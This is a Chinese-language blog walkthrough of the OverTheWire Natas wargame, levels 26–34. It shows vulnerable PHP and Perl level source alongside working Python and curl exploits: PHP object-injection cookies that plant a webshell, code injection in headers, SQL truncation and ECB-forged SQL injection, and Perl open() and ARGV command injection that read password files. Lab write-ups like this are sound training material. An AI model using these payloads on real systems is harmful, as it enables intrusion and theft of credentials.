cookies = {'PHPSESSID': '701j1s2hgaka9o1tboiblt2ep7'}
headers = {'User-Agent': '<?passthru("cat /etc/natas_webpass/natas26")?>'}

response = requests.get(url, auth=(username, password), cookies=cookies, headers=headers)
print(response.text)

cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE。

natas26

审计也是个大块头。

<body>
<?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla

    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;

        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";

            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->initMsg);
            fclose($fd);
        }

        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }

        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }
    }

    function showImage($filename){
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);
        imagedestroy($img);
    }

    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){

            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"],
                            $_GET["x2"], $_GET["y2"], $color);
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) &&
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) &&
                        array_key_exists("y2", $object)){
                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);

                    }
        }
    }

    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }

        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>

<h1>natas26</h1>
<div id="content">

Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form>

<?php
    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){
        $imgfile="img/natas26_" . session_id() .".png";
        drawImage($imgfile);
        showImage($imgfile);
        storeData();
    }

?>      
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>   </div>   
</body>

梳理思路:(自己慢慢查看调用和赋值,理解其逻辑)
1.
drawImage($imgfile) -->drawFromUserdata($img) -->$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
2.
showImage($imgfile) --> echo "<img src=\"$filename\">"
3.
storeData()-->array()-->$new_object--->$drawing[] (<--unserialize(base64_decode($_COOKIE["drawing"])),array();) --->setcookie("drawing",base64_encode(serialize($drawing)))
4.
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
5. $imgfile="img/natas26_" . session_id() .".png"这里的session_id()无法直接查看。
看来,关键点就是1和3的逆过程,目的是寻找一个新的cookie。而这关键就是php的序列化和反序列化(unserialize),说不多说,直接干!

当然,可以Stack Overflow一波Python phpserialize | Stack Overflow

image

结果如下:

Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czozNjoiL3Zhci93d3cvbmF0YXMvbmF0YXMyNi9pbWcvbXlsb2cucGhwIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6MTQ6IlN0YXJ0IGxvZ2dpbmcKIjtzOjE1OiIATG9nZ2VyAGV4aXRNc2ciO3M6NTM6Ijw%2FcGhwIHBhc3N0aHJ1KCdjYXQgL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4KIjt9

下面就是kali的活了。
image

验证一波,
image

正确!
等同于python脚本:

import requests

username = 'natas26'
password = 'cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE'

url_1 = 'http://natas26.natas.labs.overthewire.org/?x1=2&y1=2&x2=2&y2=2'
url_2 = 'http://natas26.natas.labs.overthewire.org/img/mylog.php'

cookie_value = "Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czozNjoiL3Zhci93d3cvbmF0YXMvbmF0YXMyNi9pbWcvbXlsb2cucGhwIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6MTQ6IlN0YXJ0IGxvZ2dpbmcKIjtzOjE1OiIATG9nZ2VyAGV4aXRNc2ciO3M6NTM6Ijw%2FcGhwIHBhc3N0aHJ1KCdjYXQgL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4KIjt9"

cookies = {'drawing': cookie_value}

response_1 = requests.get(url_1, auth=(username, password), cookies=cookies)
print(response_1.text)

response_2 = requests.get(url_2, auth=(username, password), cookies=cookies)
print(response_2.text)

u3RRffXjysjgwFU6b9xa23i6prmUsYne。

natas27

这几关果然都是大巨头啊。

<body>
<h1>natas27</h1>
<div id="content">
<?php

// morla / 10111
// database gets cleared every 5 min


/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/


function checkCredentials($link,$usr,$pass){

    $user=mysqli_real_escape_string($link, $usr);
    $password=mysqli_real_escape_string($link, $pass);

    $query = "SELECT username from users where username='$user' and password='$password' ";
    $res = mysqli_query($link, $query);
    if(mysqli_num_rows($res) > 0){
        return True;
    }
    return False;
}


function validUser($link,$usr){

    $user=mysqli_real_escape_string($link, $usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysqli_query($link, $query);
    if($res) {
        if(mysqli_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}


function dumpData($link,$usr){

    $user=mysqli_real_escape_string($link, trim($usr));

    $query = "SELECT * from users where username='$user'";
    $res = mysqli_query($link, $query);
    if($res) {
        if(mysqli_num_rows($res) > 0) {
            while ($row = mysqli_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}


function createUser($link, $usr, $pass){

    if($usr != trim($usr)) {
        echo "Go away hacker";
        return False;
    }
    $user=mysqli_real_escape_string($link, substr($usr, 0, 64));
    $password=mysqli_real_escape_string($link, substr($pass, 0, 64));

    $query = "INSERT INTO users (username,password) values ('$user','$password')";
    $res = mysqli_query($link, $query);
    if(mysqli_affected_rows($link) > 0){
        return True;
    }
    return False;
}


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas27', '<censored>');
    mysqli_select_db($link, 'natas27');


    if(validUser($link,$_REQUEST["username"])) {
        //user exists, check creds
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
            echo "Here is your data:<br>";
            $data=dumpData($link,$_REQUEST["username"]);
            print htmlentities($data);
        }
        else{
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }
    }
    else {
        //user doesn't exist
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
        }
    }

    mysqli_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

这里不在梳理,同上一关的梳理思路,自行研读并梳理。

关键点是要创建一个用户createUser,然后使checkCredentials里的mysqli_num_rows(\(res) > 0,以及使dumpData返回return print_r(\)row,true)。而前提是validUser为真,这其中的大多数环节都需要mysqli_num_rows($res) > 0为真。

可以利用varchar(64)字符串溢出的特点:两个注册名前缀相同,但其中一个超出字符长度限制。这个超出字符长度限制的用户名注册成功后,他与不超出字符长度限制的用户同名自然密码也相同。
因而,编写脚本。

import requests

url = 'http://natas27.natas.labs.overthewire.org/index.php'
username='natas27'
password='u3RRffXjysjgwFU6b9xa23i6prmUsYne'

  
  

# Step 1: Create a new user "natas28  " (57 spaces following)
data={"username": 'natas28'+ '\x00'* 70+'aaa' ,"password": '123q'}
print("Sending a request to create a user similar to natas28...")
response = requests.post(url, auth=(username,password), data=data)
print(response.text)

  
  

# Step 2: Send a query request for "natas28"
print("Trying to log in...")
data={"username": 'natas28', "password": '123q'}
response_1 = requests.post(url, auth=(username,password), data=data)
print(response_1.text)

运行结果(节选):
<div id="content">
User natas28aaa was created!
</div>

<body>
<h1>natas27</h1>
<div id="content">
Welcome natas28!<br>Here is your data:<br>Array
(
    [username] =&gt; natas28
    [password] =&gt; 1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj
)
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj。

natas28

这一关是加解密和爆破(ECB),不熟悉的话,建议阅读natas28
这里,我直接对natas28进行了简易的修改。
image

源码:

import requests
import urllib
import base64

url = "http://natas28.natas.labs.overthewire.org"
username ='natas28'
password ='1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj'

# First we generate a baseline for the header/footer
data = {'query':10 * ' '}
r = requests.post(url, auth=(username, password),data=data)
baseline = urllib.parse.unquote(r.url.split('=')[1])
baseline = base64.b64decode(baseline.encode('utf-8'))
header = baseline[:48]
footer = baseline[48:]

# We generate the ciphertext query and parse the result
sqli = 9 * " " + "' UNION ALL SELECT password FROM users;#"
data = {'query':sqli}
r = requests.post(url, auth=(username, password),data=data)
exploit = urllib.parse.unquote(r.url.split('=')[1])
exploit = base64.b64decode(exploit.encode('utf-8'))

# We computer the size of our payload
nblocks = len(sqli) - 10
while nblocks % 16 != 0:
    nblocks += 1 
nblocks = int(nblocks / 16)

# Then, we forge the query
final = header + exploit[48:(48 + 16 * nblocks)] + footer
final_ciphertext = base64.b64encode(final)
search_url = "http://natas28.natas.labs.overthewire.org/search.php"
response = requests.get(search_url, params={"query":final_ciphertext},auth=(username, password))
print(response.text)

31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns。

natas29

又是什么东西?Perl,我们可以利用Perl 中的 open() 函数来实施命令注入。此函数可用于命令执行,只需在文件名前加上竖线(即 “|”) 即可。
为了绕过文件扩展名,我们在 URL 的末尾附加“%00”,终止符 '\0' 的 url 编码。相当于截断字符。

尝试执行?file=|cat /etc/natas_webpass/natas30 \0时,发现natas会被转义。多次尝试,发现?(问号)不行,引号可以。
执行?file=|cat /etc/na''tas_webpass/nat''as30 \0后,看到
image

WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH。

natas30

部分页面源码:

use CGI qw(:standard);
use DBI;

print <<END;

END
if ('POST' eq request_method && param('username') && param('password')){
    my $dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1});
    my $query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password')); 

    my $sth = $dbh->prepare($query);
    $sth->execute();
    my $ver = $sth->fetch();
    if ($ver){
        print "win!<br>";
        print "here is your result:<br>";
        print @$ver;
    }
    else{
        print "fail :(";
    }
    $sth->finish();
    $dbh->disconnect();
}

print <<END;


分析:$sth->fetch()   ----> $dbh->prepare($query)    ---->$query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password'));       (<----$dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1});)

看来跟SQL和DBI或CGI有关系。关键点是要我们输入某种SQL查询语句,能够确保$ver值为真,才会win!而分析的关键是dbh后面的quote是什么玩意?它具备什么属性?了解后就一通百通了。
这里,我们用带字符串和整数的数组来绕过,例如 ["'a' or 1", 4]。当执行这个命令时,它会自动拼接字符串里的内容。相当于执行Select * FROM users where username ='natas30' and password ='a' or 1(与1=1同效果), 4,这里password ='a' or 1(与1=1同效果)的结果为真,前面结果也为真。因而,成功执行!
打开Kali

curl --request POST 'http://natas30.natas.labs.overthewire.org/index.pl' \
  --user 'natas30:WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH' \
  --data 'username=natas31' \
  --data 'password=%27a%27%20or%201&password=4'

结果:
image

等同于脚本

import requests

url = 'http://natas30.natas.labs.overthewire.org/index.pl'
auth = ('natas30', 'WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH')
payload ={ "username": "natas31", "password": ["'a' or 1", 4] }
response = requests.post(url, auth=auth, data=payload)
print(response.text)

m7bfjAHpJmSYgQWWeqRE2qVBuMiRNq0y。

natas31

页面源码:

use CGI;
$ENV{'TMPDIR'}="/var/www/natas/natas31/tmp/";

print <<END;

END

my $cgi = CGI->new;
if ($cgi->upload('file')) {
    my $file = $cgi->param('file');
    print '<table class="sortable table table-hover table-striped">';
    $i=0;
    while (<$file>) {
        my @elements=split /,/, $_;

        if($i==0){ # header
            print "<tr>";
            foreach(@elements){
                print "<th>".$cgi->escapeHTML($_)."</th>";   
            }
            print "</tr>";
        }
        else{ # table content
            print "<tr>";
            foreach(@elements){
                print "<td>".$cgi->escapeHTML($_)."</td>";   
            }
            print "</tr>";
        }
        $i+=1;
    }
    print '</table>';
}
else{
print <<END;

看到upload这个字眼,肯定是RCE或文件上传。于是,准备写php语句获取关键信息。

写入test.csv的内容和运行下列curl命令后的截图

curl -u natas31:m7bfjAHpJmSYgQWWeqRE2qVBuMiRNq0y "http://natas31.natas.labs.overthewire.org/index.pl?/etc/natas_webpass/natas32" -F "file=ARGV"  -F "file=@test.csv"

image

但是,运行curl命令之前需要上传test.csv文件验证我们的想法。从图片中,我们可以看到写php语句获取关键信息的想法是正确的。
image

NaIWhW2VIrKqrc7aroJVHOZvk3RQMi0B。

natas32

页面源码和上一关的差不多,应该也是RCE或文件上传。

查看所属目录下的文件和属性,获取getpassword敏感信息。

命令1.
curl -u natas32:NaIWhW2VIrKqrc7aroJVHOZvk3RQMi0B "http://natas32.natas.labs.overthewire.org/index.pl?ls%20-l%20.%20|" -F "file=ARGV"  -F "file=@test.csv"

命令2.
curl -u natas32:NaIWhW2VIrKqrc7aroJVHOZvk3RQMi0B "http://natas32.natas.labs.overthewire.org/index.pl?./getpassword%20|" -F "file=ARGV"  -F "file=@test.csv"


执行命令1,命令2后的结果:
image

2v9nDlbSF7jvawaCncr5Z9kSzkmBeoCJ。

natas33

<?php
            // graz XeR, the first to solve it! thanks for the feedback!
            // ~morla
            class Executor{
                private $filename=""; 
                private $signature='adeafbadbabec0dedabada55ba55d00d';
                private $init=False;

                function __construct(){
                    $this->filename=$_POST["filename"];
                    if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) {
                        echo "File is too big<br>";
                    }
                    else {
                        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) {
                            echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
                            echo "Firmware upgrad initialised.<br>";
                        }
                        else{
                            echo "There was an error uploading the file, please try again!<br>";
                        }
                    }
                }

                function __destruct(){
                    // upgrade firmware at the end of this script

                    // "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
                    chdir("/natas33/upload/");
                    if(md5_file($this->filename) == $this->signature){
                        echo "Congratulations! Running firmware update: $this->filename <br>";
                        passthru("php " . $this->filename);
                    }
                    else{
                        echo "Failur! MD5sum mismatch!<br>";
                    }
                }
            }
        ?>

        <h1>natas33</h1>
        <div id="content">
            <h2>Can you get it right?</h2>

            <?php
                session_start();
                if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) {
                    new Executor();
                }
            ?>
            <form enctype="multipart/form-data" action="index.php" method="POST">
                <input type="hidden" name="MAX_FILE_SIZE" value="4096" />
                <input type="hidden" name="filename" value="<?php echo session_id(); ?>" />


看关键词吧,看到move_uploaded_file想到RCE的文件上传,看到__destruct()想到php的反序列化和序列化,看到md5_file想到哈希加解密,看到session_id()想到查看Session值,看到 passthru()想到一句话木马......思绪还在飞翔,随之也慢慢地打开各种工具。

目前本人对php和phar的这些操作了解的还不够清楚,主要是反序列化包含的phar文件怎么得来,实施攻击的一些原理和多个php文件三者之间的联系。
建议参考大佬的题解[Natas33 |博客园] (https://www.cnblogs.com/zhengna/p/12381943.html)。
需要其他的解法阅读或观看
Natas33_1 |github.io 听这篇文章说是2018blackhat公布的一个用phar构造php反序列化的漏洞。
natas33_2

natas34

Done!You through the natas!win!

致谢

预备工作

阅读之前本文,建议阅读以下文档,完成安装或配置相关工具的预备工作:

  1. kali kali安装 | CSDN Kali Linux 镜像|官网
    vim Vim 使用|博客园 Vim 使用|gitbook | cn
    熟悉Linux命令,主要是grep,ls,cat Linux命令|C语言中文网
  2. vscode with python,php
    Vscode Python | CSDN
    Vscode php|CSDN
  • Vscode Python一文补充,在VS Code中按下 Ctrl + Shift + P后,输入 Python: Select Interpreter。从列表中选择正确的Python解释器,............
  1. 准备Firefox,Chrome浏览器。主要是Firefox,需要安装hackbar v2等插件。F12开发者模式,两种浏览器的选择皆可。
  2. 准备BurpSuite。
    BurpSuite安装|CSDN
    antSword(其实本文没有用到,不过可以尝试熟悉下)
    AntSword 安装|Freebuf AntSword 使用|CSDN

主要链接

除了预备工作和个别关卡引用到的文章和网页,主要向以下链接的作者致谢:

  1. Natas_Perl|个人网站
  2. natas28 | 个人网站
posted @ 2025-05-29 18:21  河东式贺喜  阅读(219)  评论(0)    收藏  举报